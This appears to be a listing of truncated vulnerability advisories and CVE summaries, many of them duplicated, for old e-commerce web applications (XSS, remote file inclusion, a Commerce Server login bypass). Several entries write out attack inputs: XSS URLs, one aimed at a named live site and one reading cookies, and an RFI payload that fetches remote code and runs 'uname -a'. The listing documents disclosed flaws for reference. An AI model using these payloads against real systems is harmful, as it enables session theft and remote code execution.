XSS in XT-Commerce v2.0 RC1.2

Advisory: XSS in XT-Commerce v2.0 RC1.2 Home Page: http://xtcommerce/ Уязвимость/Vulnerability: Межсайтовый скриптинг/Cross Site Scripting Уязвимый скрипт/Vulnerable script: advancedsearchresult.php http://www.immobilien-uckermark.de/advancedsearchresult.php?keywords="scriptalert/script"&x=30&y=1...

Microsoft Commerce Server authentication bypass

It's possible to login with known username without password. Fixed with Service Pack 2...

Microsoft Commerce Server 2002: Logon as known user with a false password

Microsoft Commerce Server 2002: Logon as known user with a false password Vulnerable: Microsoft Windows Server 2000/2003 + Internet Information Server 5/6 + Commerce Server 2002 Discussion: Microsoft Commerce Server is used by company's who want to give customers the opportunity to change there o...

r25xss.txt

R25 XSS Vulnerability ===================== Discovered By: Matthew Benenati Release Date: 3/3/2006 Vendor: CollegeNET Versions: /wv3/wv3servlet/urd/run/wvevent.QSearch?searchon=0,findby=1,criteria=%22%3C/div%3E%3Cscript%3Ealertdocument.cookie%3C/script%3E...

CVE-2006-0534

Multiple cross-site scripting XSS vulnerabilities in default.asp in CyberShop Ultimate E-commerce allow remote attackers to inject arbitrary web script or HTML via the 1 ortak or 2 kat parameter...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in default.asp in CyberShop Ultimate E-commerce allow remote attackers to inject arbitrary web script or HTML via the 1 ortak or 2 kat parameter...

CVE-2006-0534

CVE-2006-0534 describes multiple cross-site scripting (XSS) vulnerabilities in default.asp of CyberShop Ultimate E-commerce. The issue allows remote attackers to inject arbitrary web script or HTML via the (1) ortak and (2) kat parameters. The provided connected documents confirm product name and...

cyberXSS.txt

CyberShop Ultimate E-commerce Script Cross Site Scripting Hi all B3g0kathackermail.com Patriotic Hackers!!! http://www.patriotichack.org Special Thanx All Kurdish Hackers ----------------------------------- CyberShop Ultimate E-commerce Script Cross Site Scripting...

CyberShop Ultimate E-commerce Script Cross Site Scripting

CyberShop Ultimate E-commerce Script Cross Site Scripting Hi all B3g0kathackermail.com Patriotic Hackers!!! http://www.patriotichack.org Special Thanx All Kurdish Hackers ----------------------------------- CyberShop Ultimate E-commerce Script Cross Site Scripting...

CyberShop Ultimate E-Commerce - Multiple Cross-Site Scripting Vulnerabilities

CyberShop Ultimate E-Commerce - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/16473/info CyberShop Ultimate E-commerce is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize...

CyberShop Ultimate E-Commerce - Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/16473/info CyberShop Ultimate E-commerce is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issue to have arbitrary scrip...

CVE-2006-0171

PHP remote file include vulnerability in index.php in OrjinWeb E-commerce allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: it is not clear, but OrjinWeb might be an application service, in which case it should not be included in CVE...

Remote file inclusion

PHP remote file include vulnerability in index.php in OrjinWeb E-commerce allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: it is not clear, but OrjinWeb might be an application service, in which case it should not be included in CVE...

CVE-2006-0171

PHP remote file include vulnerability in index.php in OrjinWeb E-commerce allows remote attackers to execute arbitrary code via a URL in the page parameter. NOTE: it is not clear, but OrjinWeb might be an application service, in which case it should not be included in CVE...

CVE-2006-0171

CVE-2006-0171 concerns a PHP remote file include in the index.php of OrjinWeb E-commerce . The vulnerability allows remote attackers to cause arbitrary code execution by supplying a URL in the page parameter. The core issue is an improper handling of the page parameter that enables inclusion of e...

orjinweb.txt

Orjinweb E-commerce Remote File Include Vulnerability http://www.targetsite.com/?page=http://evilcode.txt?&cmd=uname -a...

Orjinweb E-commerce

Orjinweb E-commerce Remote File Include Vulnerability http://www.targetsite.com/?page=http://evilcode.txt?&cmd=uname -a...

Plexcor's(r) CMS XSS vuln.

Plexcor's® CMS XSS vuln. Vuln. discovered by : r0t Date: 21 dec. 2005 orginal advisory:http://pridels.blogspot.com/2005/12/plexcors-cms-xss-vuln.html vendor:http://www.plexcor.com/ affected version: 4.0 and prior Product Description: Integrated modular content, communications, calendar, commerce,...

marmaraXSS.txt

MarmaraWeb E-commerce Script Cross Site Scripting Hi all B3g0kathackermail.com Kurdish Hacker Special Thanx All Kurdish Hackers Freedom For Ocalan!!! ----------------------------------- MarmaraWeb E-commerce Script Cross Site Scripting ----------------------------------- Site:...

CVE-2005-4288

Cross-site scripting XSS vulnerability in index.php in MarmaraWeb E-commerce allows remote attackers to inject arbitrary web script or HTML via the page parameter to index.php. NOTE: this might be resultant from CVE-2005-4287...